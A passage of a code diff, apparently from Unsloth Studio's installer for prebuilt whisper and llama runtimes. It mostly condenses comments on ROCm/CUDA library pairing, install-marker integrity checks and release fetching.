macos_version: tuple[int, int] | None = None
@@ -291,8 +266,7 @@ def apply_host_overrides(
)
updates: dict[str, Any] = {}
if has_rocm or rocm_gfx:
- # --rocm-gfx implies --has-rocm (llama parity); otherwise the host stays on
- # its CUDA/CPU path and never picks the ROCm bundle. Drop CUDA detection too.
+ # --rocm-gfx implies --has-rocm (llama parity) and drops CUDA detection.
updates["has_rocm"] = True
updates["has_usable_nvidia"] = False
if rocm_gfx:
@@ -446,13 +420,10 @@ def llama_runtime_pairs(
return False
if installed_tag == required_tag:
return True
- # An install predating ggml_tree has no tree locally, so read it from that
- # tag's published release rather than stranding the install on a suffix
- # comparison that ignores ggml.
+ # Pre-ggml_tree install: read the tree from that tag's published release.
if not (isinstance(installed_ggml_tree, str) and installed_ggml_tree):
if isinstance(installed_repo, str) and installed_repo:
installed_ggml_tree = published_llama_ggml_tree(installed_tag, installed_repo)
- # Only probe the required release once the installed side actually resolved
if installed_ggml_tree and not (isinstance(required_ggml_tree, str) and required_ggml_tree):
required_ggml_tree = published_llama_ggml_tree(required_tag)
if installed_ggml_tree and required_ggml_tree:
@@ -468,7 +439,7 @@ def _ships_gpu_ggml_module(llama_bin_dir: Path, os_key: str) -> bool:
upstream-sourced install, so the files on disk decide."""
for backend, per_os in SLIM_BACKEND_MODULE_GLOBS.items():
glob = per_os.get(os_key)
- # is_file(): a versioned alias still counts, a directory or dangling link does not.
+ # is_file(): a versioned alias counts, a directory or dangling link does not.
if backend != "cpu" and glob and any(path.is_file() for path in llama_bin_dir.glob(glob)):
return True
return False
@@ -560,13 +531,7 @@ def slim_pairing_for_artifact(
and _ships_gpu_ggml_module(llama_bin_dir, "linux")
and _ggml_stack_imports_libomp(llama_bin_dir, backend) is False
):
- # Same shape as the Windows case above: the arm64 manifest names libomp only because
- # the cpu bundle's ggml links it, so CUDA (GNU libgomp) was rejected for a file it
- # never needs. Evidence, not arch -- the arm64 Vulkan bundle really does import it.
- # `is False`, not `is not True`: dropping this on no evidence is unrecoverable, since
- # the sidecar sends the loader error to DEVNULL and serving never falls back.
- # arm64 only: linux-x64 ggml really imports its bundled libomp
- # (test_linux_slim_still_requires_manifest_libomp).
+ # Drop libomp only on evidence it is unneeded; the arm64 Vulkan bundle really imports it.
required_sonames = [name for name in required_sonames if not _is_linux_libomp_soname(name)]
missing = [name for name in required_sonames if not (llama_bin_dir / name).is_file()]
if missing:
@@ -703,8 +668,7 @@ def _slim_release_incompatibility(manifest: dict[str, Any], host: HostInfo) -> s
installed_tag = runtime[1]
installed_tree = installed_llama_ggml_tree()
installed_repo = installed_llama_tree_repo()
- # Normalise the tree: llama_runtime_pairs treats a non-string as absent, but
- # an unhashable one (list/dict) would blow up the set first.
+ # Unhashable tree values (list/dict) would break the set.
required_pairs = {
(
artifact.get("requires_llama_tag"),
@@ -942,16 +906,13 @@ def _runtime_library_sources(llama_bin_dir: Path, backend: str | None) -> list[P
path for pattern in patterns for path in llama_bin_dir.glob(pattern) if path.is_file()
}
if backend == "rocm":
- # Windows llama HIP/ROCm prebuilts use a flat *.dll runtime overlay.
- # Mirror that complete no-SDK closure, not only filenames containing
- # ggml, hip, or roc: transitive runtime DLLs can have unrelated names.
+ # Windows ROCm: mirror the whole flat DLL closure; transitive DLLs have unrelated names.
windows_dlls = {path for path in llama_bin_dir.glob("*.dll") if path.is_file()}
if windows_dlls:
sources.update(windows_dlls)
return sorted(sources)
- # Linux can inspect DT_NEEDED and copy the exact packaged closure. Fall
- # back to the ROCm globs only when standard ELF tools are unavailable.
+ # Linux: copy the DT_NEEDED closure; ROCm globs only when ELF tools are missing.
by_name = {path.name: path for path in llama_bin_dir.iterdir() if path.is_file()}
pending = list(sources)
inspected_hip = False
@@ -1018,8 +979,7 @@ def link_ggml_runtime(
)
whisper_bin_dir.mkdir(parents = True, exist_ok = True)
for source in sources:
- # Follows a libggml.so.0 -> libggml.so.0.x symlink to its inode, so every
- # created name is a real hardlink surviving a dir swap.
+ # Hardlink to the resolved inode so links survive llama's dir swap.
_link_or_copy(source, whisper_bin_dir / source.name)
return [source.name for source in sources]
@@ -1028,8 +988,6 @@ def link_runtime_directories(
llama_bin_dir: Path, whisper_bin_dir: Path, *, backend: str, host: HostInfo
) -> list[str]:
"""Mirror GPU kernel catalogs that packaged ROCm libraries load at runtime."""
- # Windows ROCm prebuilts are a flat DLL overlay. The hipblaslt/rocblas
- # catalog directories are part of the Linux ROCm bundle layout only.
if backend != "rocm" or host.is_windows:
return []
linked: list[str] = []
@@ -1043,8 +1001,6 @@ def link_runtime_directories(
)
if not files:
if not required:
- # hipBLASLt has no kernels for this target, and llama pairs without the catalog and runs, so
- # whisper must pair the same way.
log(f"slim install: paired ROCm runtime ships no {name} kernel catalog; skipping")
continue
missing = "is missing its" if not source_root.is_dir() else "has an empty"
@@ -1085,8 +1041,7 @@ def metadata_path(install_dir: Path) -> Path:
return install_dir / METADATA_FILENAME
-# Every bin layout this installer produces, walked whatever the host says: the backfill runs from
-# settle_kept_install, which prebuilt_core hands the install directory alone.
+# Walk every bin layout: settle_kept_install passes only the install dir.
_RUNTIME_RECORD_BIN_DIRS = (("build", "bin"), ("build", "bin", "Release"))
_RUNTIME_RECORD_SERVER_NAMES = ("whisper-server", "whisper-server.exe")
@@ -1139,27 +1094,25 @@ def _runtime_file_records(
for parts in _RUNTIME_RECORD_BIN_DIRS:
bin_dir = install_dir.joinpath(*parts)
for name in linked_libraries or ():
- # Bare filenames only: a marker naming ../.. must not send the record outside the install.
+ # Bare filenames only: a marker naming ../.. must not escape the install.
if not isinstance(name, str) or not name or Path(name).name != name:
continue
record = _stat_record(bin_dir / name)
if record is not None:
records[(bin_dir / name).relative_to(install_dir).as_posix()] = record
for name in linked_runtime_directories or ():
- # Same bare-name rule: rglob on a marker-supplied path would walk out of the install.
if not isinstance(name, str) or not name or Path(name).name != name:
continue
runtime_dir = bin_dir / name
if not runtime_dir.is_dir():
continue
for path in sorted(runtime_dir.rglob("*")):
- # Files only; stat follows symlinks, which is what the loader does too.
if not path.is_file():
continue
record = _stat_record(path)
if record is not None:
records[path.relative_to(install_dir).as_posix()] = record
- # Last, so a server the wiring loop happened to match is upgraded to the hashed tier.
+ # Last, so a server matched by the wiring loop gets the hashed tier.
for name in _RUNTIME_RECORD_SERVER_NAMES:
candidate = bin_dir / name
record = _stat_record(candidate)
@@ -1168,7 +1121,7 @@ def _runtime_file_records(
try:
record["sha256"] = sha256_file(candidate)
except (OSError, MemoryError) as exc:
- # No record at all: a size-only tier would keep a same-size corrupt server forever.
+ # No record at all: a size-only tier would keep a same-size corrupt server.
log(f"could not hash {name} for the runtime record ({exc}); not recording")
return {}
records[candidate.relative_to(install_dir).as_posix()] = record
@@ -1239,7 +1192,6 @@ def _runtime_files_match(install_dir: Path, marker: "dict[str, Any]") -> bool:
except OSError as exc:
log(f"existing install at {install_dir} rejected: {relative} is unreadable ({exc})")
return False
- # An unrecorded file is not evidence against the install; a RECORDED one that vanished is.
return True
@@ -1263,8 +1215,6 @@ def selection_from_artifact(
)
if artifact.get("install_kind") != "slim":
return selection
- # A slim selection carries its pairing so the install wiring and marker know
- # which llama runtime provides the ggml libraries.
runtime = installed_llama_runtime()
if runtime is None or not llama_runtime_pairs(
runtime[1],
@@ -1316,7 +1266,7 @@ def kept_install_needs_settling(install_dir: Path) -> bool:
marker = load_prebuilt_metadata(install_dir)
if not marker:
return False
- # Empty counts as absent: _runtime_file_records answers {} for a server it could not hash.
+ # Empty counts as absent: an unhashable server yields {}.
if not marker.get("runtime_files"):
return True
if marker.get("install_kind") != "slim":
@@ -1370,11 +1320,10 @@ def _backfill_runtime_file_records(install_dir: Path) -> None:
linked if isinstance(linked, list) else None,
runtime_dirs if isinstance(runtime_dirs, list) else None,
)
- # An empty record is not evidence, and writing one would fail closed on every later update.
+ # Writing an empty record would fail closed on every later update.
if not records:
return
marker["runtime_files"] = records
- # llama's writer: same atomic temp-and-replace, mode and owner kept, never raises.
if llama._write_marker(metadata_path(install_dir), marker):
log(f"existing {COMPONENT} install reused; recorded {len(records)} payload files")
@@ -1412,7 +1361,6 @@ def _wiring_matches_live_llama(install_dir: Path, marker: dict) -> bool:
except OSError:
return False
if (a.st_dev, a.st_ino) != (b.st_dev, b.st_ino):
- # Copied rather than hardlinked, or genuinely stale. Only the bytes can say.
try:
if a.st_size != b.st_size or core.sha256_file(ours) != core.sha256_file(theirs):
return False
@@ -1446,10 +1394,7 @@ def _backfill_slim_pairing_record(install_dir: Path) -> None:
marker = load_prebuilt_metadata(install_dir)
if not marker or marker.get("install_kind") != "slim":
return
- # Only record a pairing this install can be SHOWN to have. Without this the backfill
- # writes whichever llama is live at the moment it runs, which is a guess whenever llama
- # changed before whisper's first migration or while another installer held llama's own
- # lock, and the runtime-id check then trusts the guess forever.
+ # Only record a pairing the wiring proves; otherwise the guess is trusted forever.
if not _wiring_matches_live_llama(install_dir, marker):
log(
f"existing {COMPONENT} install reused; its wiring does not match the live "
@@ -1471,7 +1416,6 @@ def _backfill_slim_pairing_record(install_dir: Path) -> None:
added.append(f"{key}={value}")
if not added:
return
- # llama's writer: same atomic temp-and-replace, mode and owner kept, never raises.
if llama._write_marker(metadata_path(install_dir), marker):
log(f"existing {COMPONENT} install reused; recorded its pairing ({', '.join(added)})")
@@ -1517,10 +1461,7 @@ def installed_tree_is_intact(install_dir: Path, host: HostInfo) -> bool:
f"libraries ({', '.join(missing[:4])}); reinstalling"
)
return False
- # Which llama INSTALL, not which source tree: a per-gfx ROCm reselection swaps the asset
- # within one release, and the hardlinks survive llama's directory swap on purpose, so the
- # previous GPU's kernels stay wired while every other check passes. Absent is a pre-key
- # marker, which settle_kept_install records rather than re-downloading.
+ # Per llama install, not tree: a per-gfx ROCm reselection keeps the tree id but swaps kernels.
recorded_runtime_id = marker.get("paired_llama_runtime_id")
if isinstance(recorded_runtime_id, str) and recorded_runtime_id:
if recorded_runtime_id != installed_paired_runtime_id():
@@ -1530,8 +1471,7 @@ def installed_tree_is_intact(install_dir: Path, host: HostInfo) -> bool:
)
return False
runtime_dirs = marker.get("linked_runtime_directories")
- # Subset plus required, not equality: a target without hipBLASLt kernels wires rocblas alone and is
- # complete (#8364), while an unknown name or a missing rocblas still means stale wiring.
+ # Subset plus required: a target without hipBLASLt wires rocblas alone.
if (
marker.get("backend") == "rocm"
and not host.is_windows
@@ -1556,9 +1496,7 @@ def installed_tree_is_intact(install_dir: Path, host: HostInfo) -> bool:
f"({', '.join(str(name) for name in missing_dirs[:4])}); reinstalling"
)
return False
- # The only check here that reads the payload's BYTES: a whisper-server truncated to a non-zero
- # length is still a non-empty executable. Absent on a pre-record marker, which is kept and
- # backfilled under the lock, so upgrading from an older Studio never re-downloads.
+ # Only check that reads payload bytes: a truncated server is still a non-empty executable.
return _runtime_files_match(install_dir, marker)
@@ -1583,8 +1521,7 @@ def fetch_release_for_install(
except PrebuiltFallback:
raise
except (OSError, ValueError, RuntimeError) as exc:
- # install_prebuilt's keep path reads only PrebuiltFallback, so without this wrap an offline
- # update printed "prebuilt install failed" over an intact tree.
+ # The keep path catches only PrebuiltFallback.
raise PrebuiltFallback(
f"could not fetch release {repo}@{published_release_tag or 'latest'}: {exc}"
) from exc
@@ -1597,7 +1534,6 @@ class WhisperReleasePlan:
artifact: dict[str, Any]
resolved_backend: str
used_fallback: bool
- # The macOS release walk-back behind bundle (core.WalkBack); None when bundle is the newest.
walk_back: core.WalkBack | None = None
@@ -1711,7 +1647,6 @@ def _release_plan_for_host(
requested_specific_tag = whisper_tag.strip().lower() not in ("", "latest")
first_bundle: ReleaseBundle | None = None
first_error: PrebuiltFallback | None = None
- # An upstream version pin searches manifests directly.
if not requested_specific_tag or published_release_tag:
first_bundle, first_checksums = fetch_release_for_install(
published_repo, published_release_tag = published_release_tag
@@ -1727,8 +1662,7 @@ def _release_plan_for_host(
except PrebuiltFallback as exc:
first_error = exc
else:
- # Integrity validation happens only after compatibility succeeds.
- # Its failures are never eligible for release walkback.
+ # Integrity failures are never eligible for release walkback.
return _plan_bundle(
host,
first_bundle,
@@ -1776,8 +1710,7 @@ def _release_plan_for_host(
if not _bundle_matches_whisper_tag(bundle, whisper_tag):
continue
try:
- # Establish host compatibility before fetching or trusting this candidate's checksum index: once
- # selected, integrity failures must stop the install rather than silently downgrade again.
+ # Check compatibility before trusting the checksum index: integrity failures must not downgrade.
select_artifact_with_cpu_fallback(bundle.manifest, host, requested_backend)
except PrebuiltFallback:
continue
@@ -1800,7 +1733,6 @@ def _release_plan_for_host(
else None
)
if walk_back is not None:
- # So the marker-only check holds the install while that release is newest for this macOS.
plan = replace(
plan,
walk_back = walk_back,
@@ -1895,9 +1827,7 @@ def _existing_install_is_intact(
return None
if marker.get("backend") != requested_backend:
return None
- # A bundle for another architecture (a home directory carried between machines) is not intact.
- # A marker predating the recorded os/arch is read from its asset name, a convention a custom
- # repository need not follow.
+ # A bundle for another arch is not intact; old markers infer os/arch from the asset name.
os_token, arch_token = host_platform_tokens(host)
recorded_os, recorded_arch = marker.get("os"), marker.get("arch")
if isinstance(recorded_os, str) and isinstance(recorded_arch, str):
@@ -1910,7 +1840,6 @@ def _existing_install_is_intact(
or f"-{os_token}-{arch_token}-" not in recorded_asset
):
return None
- # An install restored onto an older Mac has the right tokens and fails at load time.
min_os = marker.get("min_os")
coverage = marker.get("coverage")
if min_os is None and isinstance(coverage, dict):
@@ -1921,24 +1850,19 @@ def _existing_install_is_intact(
recorded_release = marker.get("release_tag")
if not isinstance(recorded_release, str) or not recorded_release:
return None
- # A marker without a fingerprint is not a record of a finished install.
recorded_fingerprint = marker.get("install_fingerprint")
if not isinstance(recorded_fingerprint, str) or not recorded_fingerprint:
return None
- # ...and self-consistent: with no plan to compare against, this is what stands between a
- # release_tag edited over an old binary and "current". Predating it recomputes to None.
+ # Self-consistency guards against a release_tag edited over an old binary.
if core.marker_install_fingerprint(marker) != recorded_fingerprint:
return None
- # A slim install is only as intact as the llama ggml it hardlinks; predating the key is full path once.
if marker.get("install_kind") == "slim":
recorded_tree = marker.get("paired_llama_ggml_tree")
if not isinstance(recorded_tree, str) or not recorded_tree:
return None
if recorded_tree != installed_llama_ggml_tree():
return None
- # ...and the payload record itself: this path never asks the network and never starts
- # whisper-server, so the recorded digests are the only evidence the bytes are the installed
- # ones. Predating the record is full path once, as with paired_llama_ggml_tree above.
+ # Recorded digests are the only evidence here; this path never runs whisper-server.
if not marker.get("runtime_files") or not isinstance(marker.get("runtime_files"), dict):
return None
if not installed_tree_is_intact(install_dir, host):
@@ -1946,7 +1870,6 @@ def _existing_install_is_intact(
return marker
-# What the fork appends to the upstream tag it packages: v1.9.2 -> v1.9.2-unsloth.17.
_PACKAGING_SUFFIX = "-unsloth."
@@ -1971,8 +1894,7 @@ def _api_newest_release_tag_for_upstream(
tag = release.get("tag_name") if isinstance(release, dict) else None
if not isinstance(tag, str):
continue
- # The upstream part can carry a hyphen (v1.9.2-rc1), so the tag is neither cut at its first
- # hyphen nor matched on any: both read v1.9.2-rc1-unsloth.2 as a packaging of v1.9.2.
+ # The upstream part can contain a hyphen (v1.9.2-rc1).
packaged = _normalized_upstream_tag(tag)
if (
tag == recorded_release
@@ -1980,8 +1902,6 @@ def _api_newest_release_tag_for_upstream(
or packaged.startswith(wanted + _PACKAGING_SUFFIX)
):
matching.append(release)
- # Repo-aware selectability: whisper is never ggml-org/llama.cpp, so this is the
- # plain drafts-and-prereleases-dropped rule it has always had.
return llama._newest_release_tag_from_releases(repo, matching)
@@ -2022,10 +1942,6 @@ def existing_install_current_without_plan(
pinned = (published_release_tag or "").strip()
requested = (whisper_tag or "latest").strip().lower()
if requested not in ("", "latest"):
- # An upstream pin, checked even with a release pin: the full path refuses a pinned release
- # targeting another upstream version (_bundle_matches_whisper_tag). This fork publishes
- # several packagings of one upstream tag and takes the newest, so without a release pin the
- # upstream_tag alone cannot answer.
if _normalized_upstream_tag(
str(marker.get("upstream_tag") or "")
) != _normalized_upstream_tag(whisper_tag):
@@ -2034,9 +1950,7 @@ def existing_install_current_without_plan(
if pinned != recorded_release:
return False
elif requested not in ("", "latest"):
- # The newest packaging of THAT version, which /releases/latest cannot name once a newer
- # upstream ships: ask the release list, by tag name, which only the fork's convention
- # supports; a custom repository is matched by manifest on the full path.
+ # /releases/latest cannot name an older version's newest packaging; custom repos match by manifest.
if published_repo != DEFAULT_PUBLISHED_REPO:
return False
newest = _api_newest_release_tag_for_upstream(published_repo, whisper_tag, recorded_release)
@@ -2053,10 +1967,8 @@ def existing_install_current_without_plan(
if not latest:
return False
if latest != recorded_release and not core.walk_back_stands(marker, host, latest):
- # A recorded macOS walk-back stands while the newest release is still the skipped one on
- # the same OS version; a newer release or an OS upgrade re-decides it.
return False
- # "already matches" is the substring setup.sh:3635 and setup.ps1:6109 grep for.
+ # "already matches" is the substring setup.sh and setup.ps1 grep for.
log(
f"existing {COMPONENT} install already matches {recorded_release} "
f"({marker.get('backend')}); nothing to do"
@@ -2103,21 +2015,11 @@ def install_prebuilt(
requested_backend = requested_backend,
)
except (ReleaseCompatibilityError, core.ReleaseIntegrityError):
- # The lookup ANSWERED, so keeping would paper over a real answer. Two kinds:
- # ReleaseCompatibilityError, no published bundle pairs with this host's llama.cpp runtime
- # (real release skew, setup names both tags from exit 2); and ReleaseIntegrityError, the
- # release was fetched and found untrustworthy -- an asset outside the checksum index, or a
- # manifest digest disagreeing with it. Reporting "update unavailable, existing prebuilt
- # kept" over a tamper signal would turn it into a routine offline notice.
+ # Compatibility and integrity errors are real answers; never report a tamper signal as 'kept'.
raise
except PrebuiltFallback as exc:
- # llama.cpp's rule: a lookup that could not answer says nothing about the tree on disk. A
- # strict offline update used to print "prebuilt install failed" over a healthy install.
- # Anything this RUN asked for that keeping would ignore fails instead. Not --has-rocm or
- # --rocm-gfx (both entrypoints forward DETECTED hardware on every AMD host); not
- # --published-repo, --backend or --cpu-fallback (a backend request), which
- # _existing_install_is_intact compares against the marker. UNSLOTH_WHISPER_FORCE_COMPILE
- # counts: setup.sh runs the source build only after a nonzero exit.
+ # A lookup that could not answer keeps the tree, unless this run explicitly asked for something.
+ # UNSLOTH_WHISPER_FORCE_COMPILE counts: setup.sh source-builds only after a nonzero exit.
explicit_release_request = (
force
or bool((published_release_tag or "").strip())
@@ -2136,15 +2038,12 @@ def install_prebuilt(
)
if marker is None:
raise
- # "keeping the existing complete install" is the substring setup.sh and setup.ps1 grep for
- # llama's identical outcome. Not "already matches" or "installed": both name a release this
- # run never fetched.
+ # "keeping the existing complete install" is the substring setup.sh and setup.ps1 grep for.
log(
f"{COMPONENT} update unavailable, existing prebuilt kept; keeping the "
f"existing complete install of {marker.get('release_tag')}"
)
- # llama.cpp's wording, so update_flow reads both installers alike. log_lines: a multi-line
- # reason is otherwise indistinguishable from unprefixed diagnostics.
+ # llama.cpp's wording, so update_flow reads both installers alike.
log_lines(f"prebuilt update reason: {exc}".splitlines())
return EXIT_SUCCESS
if plan.selection is None: # pragma: no cover - install plans always verify
@@ -2217,8 +2116,6 @@ def resolve_prebuilt(
return payload
-# The declarative form of everything above, for descriptor-driven consumers; the shipped CLI runs
-# through this module's wrappers so the monkeypatch seams stay intact.
DESCRIPTOR = core.ComponentDescriptor(
component = COMPONENT,
log_prefix = "whisper-prebuilt",
@@ -2324,7 +2221,6 @@ def main(argv: list[str] | None = None) -> int:
emit_resolver_output(payload, output_format = args.output_format)
return EXIT_SUCCESS
- # Install path: progress logs go to stdout so setup surfaces them.
_LOG_TO_STDOUT = True
if not args.install_dir:
@@ -2349,8 +2245,6 @@ def main(argv: list[str] | None = None) -> int:
log(f"incompatible release: {exc}")
return EXIT_INCOMPATIBLE
except PrebuiltFallback as exc:
- # One prefixed line each: a multi-line reason is otherwise indistinguishable
- # from unprefixed diagnostics for whoever reads this output back.
log_lines(f"prebuilt install failed: {exc}".splitlines())
return EXIT_ERROR
except Exception as exc: # noqa: BLE001
diff --git a/studio/nvidia_probe.py b/studio/nvidia_probe.py
index 02e81d0aa36..5761bbb6f50 100644
--- a/studio/nvidia_probe.py
+++ b/studio/nvidia_probe.py
@@ -33,7 +33,7 @@ class NvidiaLibraryInventory:
source: str # "nvml" or "cuda"
cuda_driver_version: tuple[int, int] | None
driver_version: str
- # index, uuid, name, compute_cap ("8.9"); NVML order is physical and unmasked.
+ # NVML order is physical and unmasked.
devices: list[dict[str, str]] = field(default_factory = list)
@@ -65,14 +65,13 @@ def _load(kind: str) -> ctypes.CDLL | None:
def _split_cuda_version(packed: int) -> tuple[int, int] | None:
- # 13010 -> (13, 1), as CUDA packs it.
if packed <= 0:
return None
return packed // 1000, (packed % 1000) // 10
class _NvmlMemory(ctypes.Structure):
- # nvmlMemory_t (v1): bytes, in this order.
+ # nvmlMemory_t (v1) field order.
_fields_ = [
("total", ctypes.c_ulonglong),
("free", ctypes.c_ulonglong),
@@ -165,8 +164,7 @@ def _probe_nvml() -> dict | None:
"memory_free_mib": str(memory.free // (1024 * 1024)),
}
)
- # MIG slices, so a CUDA_VISIBLE_DEVICES=MIG-... assignment can be named: same
- # parent index and capability, their own uuid and memory, marked "mig".
+ # MIG slices, so a CUDA_VISIBLE_DEVICES=MIG-... assignment can be named.
for mig, mig_uuid, mig_memory in _mig_children(nvml, handle):
devices.append(
{
diff --git a/studio/prebuilt_core.py b/studio/prebuilt_core.py
index 23049764ef8..3e82ceba99d 100644
--- a/studio/prebuilt_core.py
+++ b/studio/prebuilt_core.py
@@ -50,8 +50,7 @@ from dataclasses import dataclass
from pathlib import Path
from typing import Any, Callable, Iterable, Iterator
-# Bootstrap studio/ like install_llama_prebuilt.py: an importlib spec load prepares no
-# path, so the absolute branch cannot rely on the caller. auth_safe imports only urllib.
+# Bootstrap studio/ on sys.path: an importlib spec load prepares no path.
if __package__:
from .backend.utils.auth_safe import AuthSafeRedirectHandler
else:
@@ -80,9 +79,7 @@ def filelock_classes() -> tuple[Any, Any]:
return _FILELOCK_CLASSES
-# Fresh spawned interpreter, and this standalone module cannot import backend
-# modules, so the gate is pasted from native_tls.py's inline_gate_source().
-# test_native_tls_entrypoints.py asserts the paste still matches, by AST.
+# Gate pasted from native_tls.py inline_gate_source(); test_native_tls_entrypoints.py checks it.
_TRUSTSTORE_VENDOR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "backend", "vendor")
_flag = os.environ.get("UNSLOTH_STUDIO_NATIVE_TLS", "").strip().lower()
_owned = os.environ.get("UNSLOTH_STUDIO_DESKTOP_OWNER_KIND", "") == "tauri"
@@ -126,28 +123,20 @@ USER_AGENT = "unsloth-studio-prebuilt"
GITHUB_AUTH_HOSTS = {"api.github.com", "github.com"}
HF_AUTH_HOSTS = {"huggingface.co", "www.huggingface.co"}
RETRYABLE_HTTP_STATUS = {408, 429, 500, 502, 503, 504}
-# What an exceeded GitHub API rate limit (primary or secondary) answers with.
GITHUB_RATE_LIMIT_STATUS = {403, 429}
HTTP_FETCH_ATTEMPTS = 4
HTTP_FETCH_BASE_DELAY_SECONDS = 0.75
JSON_FETCH_ATTEMPTS = 3
TTY_PROGRESS_START_DELAY_SECONDS = 0.5
INSTALL_LOCK_TIMEOUT_SECONDS = 300
-# The metadata catch-up over a kept install is an optimisation, and it runs on the FIRST update
-# after an upgrade, for every existing user. Waiting the full install timeout for it would hold
-# an otherwise finished launch for five minutes to write fields whose only effect is to spare
-# the next run some work, so it asks briefly and gives up.
+# Settle is only an optimisation, so wait briefly rather than the full install timeout.
SETTLE_LOCK_TIMEOUT_SECONDS = 5
INSTALL_STAGING_ROOT_NAME = ".staging"
SCHEMA_VERSION = 1
-# Backend to retry when the preferred one has no covering asset; None disables it.
FALLBACK_BACKEND: str | None = "cpu"
_RATE_LIMIT_WAIT_CAP_SECONDS = 60.0
-# Lowest CUDA major we ship prebuilts for, and highest we probe for installed
-# runtime libraries. Detection and runtime-line derivation are generated per
-# major, so a new toolkit (cuda14, ...) needs no code change while ggml keeps
-# the cudart64_<major>.dll / libcudart.so.<major> naming.
+# Lowest CUDA major shipped; higher majors are probed generically by naming convention.
_MIN_CUDA_MAJOR = 12
_MAX_PROBE_CUDA_MAJOR = 19
@@ -175,9 +164,7 @@ def _cuda_runtime_lines_for_major(major: int) -> list[str]:
# ── The ops seam ──
_MISSING = object()
-# Core functions expecting an ``ops`` first argument. ModuleOps binds itself when
-# a lookup falls back to the core default, so a descriptor-only component gets
-# working defaults while an installer wrapper (or a test monkeypatch) always wins.
+# Core functions taking ops first; installer wrappers and test monkeypatches win over defaults.
_OPS_FIRST_NAMES = {
"auth_headers",
"github_api_headers",
@@ -230,7 +217,6 @@ _OPS_FIRST_NAMES = {
"assemble_install_tree",
"validate_staged_server",
"locate_server_in_tree",
- # Underscored aliases the installer modules expose for their tests.
"_download_host_latest_release_tag",
"_download_host_json",
"_resolve_release_via_download_host",
@@ -277,14 +263,11 @@ class ComponentDescriptor:
user_agent: str
supported_backends: tuple[str, ...] = ("cpu", "cuda", "metal", "vulkan", "rocm")
schema_version: int = SCHEMA_VERSION
- # Backend to retry when the preferred one has no covering asset: "cpu"
- # (whisper) ships a CPU bundle in every release; None (llama) reports "no
- # prebuilt" so the caller falls back to a source build.
+ # None (llama) reports no prebuilt so the caller falls back to a source build.
fallback_backend: str | None = "cpu"
staging_root_name: str = INSTALL_STAGING_ROOT_NAME
run_staged_validation: bool = False
- # Hooks. Each mirrors the module-level function it replaces; None keeps the
- # core default (which raises if truly required).
+ # Hooks; None keeps the core default.
detect_host: Callable[[], Any] | None = None
host_platform_tokens: Callable[[Any], tuple[str, str]] | None = None
server_binary_name: Callable[[Any], str] | None = None
@@ -408,8 +391,7 @@ def auth_headers(ops: ModuleOps, url: str | None = None) -> dict[str, str]:
if token and should_send_github_auth(url):
headers["Authorization"] = f"Bearer {token}"
return headers
- # Anonymous huggingface.co fetches share a per-IP rate limit CI fleets
- # exhaust (HTTP 429); authenticate when a token is available.
+ # Anonymous HF fetches share a per-IP rate limit (429).
hf_token = os.environ.get("HF_TOKEN") or os.environ.get("HUGGING_FACE_HUB_TOKEN")
if hf_token and should_send_hf_auth(url):
headers["Authorization"] = f"Bearer {hf_token}"
@@ -433,7 +415,6 @@ def is_github_api_url(url: str | None) -> bool:
def is_retryable_url_error(exc: Exception) -> bool:
if isinstance(exc, urllib.error.HTTPError):
- # A GitHub API 403 is a rate limit; only retry when the reset is close enough to wait for.
if exc.code == 403:
return (
is_github_api_url(getattr(exc, "url", None))
@@ -446,9 +427,7 @@ def is_retryable_url_error(exc: Exception) -> bool:
return True
if isinstance(exc, socket.timeout):
return True
- # urllib wraps only a failure to send in URLError. A server that drops the connection
- # before answering (RemoteDisconnected), a reset mid-body, or a body cut short
- # (IncompleteRead) reaches here raw, and one of those would otherwise skip every retry.
+ # Raw ConnectionError/IncompleteRead bypass URLError and would skip retries.
if isinstance(exc, (ConnectionError, http.client.IncompleteRead)):
return True
return False
@@ -582,11 +561,7 @@ def write_live_marker(marker_path: Path, marker: dict[str, Any]) -> None:
os.fsync(handle.fileno())
if original is not None:
os.chmod(tmp_path, stat.S_IMODE(original.st_mode))
- # Owner AND group when the caller can, group alone when it cannot. chown is
- # all-or-nothing, so the combined call is refused outright for a non-root member of
- # a shared group and os.replace then installs the member's own uid and gid, which is
- # how the group was lost (e8d128d24); group-only alone leaves a root-refreshed marker
- # owned by root, unreadable through an 0600 mode to the user who owns the install.
+ # chown owner+group is all-or-nothing, so fall back to group alone for non-root members.
try:
os.chown(tmp_path, original.st_uid, original.st_gid)
except (OSError, AttributeError):
@@ -825,10 +800,7 @@ def fetch_json(ops: ModuleOps, url: str) -> Any:
else ops.auth_headers(url),
)
except urllib.error.HTTPError as exc:
- # Both codes: GitHub answers an exceeded primary or secondary rate
- # limit with 403 or 429 (docs.github.com/rest/using-the-rest-api/
- # rate-limits-for-the-rest-api), and a bare "HTTP Error 429: Too Many
- # Requests" carries none of the token guidance.
+ # GitHub signals rate limits with 403 or 429.
if exc.code in GITHUB_RATE_LIMIT_STATUS and is_github_api_url(url):
hint = ""
if not (os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")):
@@ -984,7 +956,7 @@ def release_asset_digests(release: dict[str, Any]) -> dict[str, str]:
if not isinstance(asset, dict) or not isinstance(asset.get("name"), str):
continue
raw = asset.get("digest")
- # The prefix is required, not stripped for convenience: normalize_sha256_digest accepts a bare 64-hex string, and an unprefixed digest is one whose algorithm GitHub did not state.
+ # Require the prefix: an unprefixed digest has no stated algorithm.
if not isinstance(raw, str) or not raw.lower().startswith("sha256:"):
continue
digest = normalize_sha256_digest(raw)
@@ -1054,7 +1026,6 @@ def download_host_latest_release_tag(ops: ModuleOps, repo: str) -> str | None:
def fetch_download_host_json(ops: ModuleOps, url: str) -> Any:
- # Public CDN asset: plain unauthenticated GET, not the rate-limited API.
data = ops.download_bytes(
url,
timeout = 30,
@@ -1182,8 +1153,7 @@ def web_release_payload(
for row in _DOWNLOAD_HREF_RE.finditer(body)
if urllib.parse.unquote(row.group("tag")).strip() == tag
}
- # The copy-to-clipboard control names its asset in the same element; pairing two
- # lists by position would misassign a hash the first time a row moves or is omitted.
+ # Pair by element, not list position, so a moved row cannot misassign a hash.
digests: dict[str, str] = {}
conflicting: set[str] = set()
for control in _CLIPBOARD_TAG_RE.finditer(body):
@@ -1263,8 +1233,7 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
]
if len(candidates) != 1:
return None
- # Strip the top-level dir so the caller's `target.parent / Path(...)`
- # resolves inside the staging dir, not a duplicate `top/top/...` path.
+ # Strip the top-level dir to avoid a duplicate top/top path.
return candidates[0][len(prefix) :]
def safe_link_target(
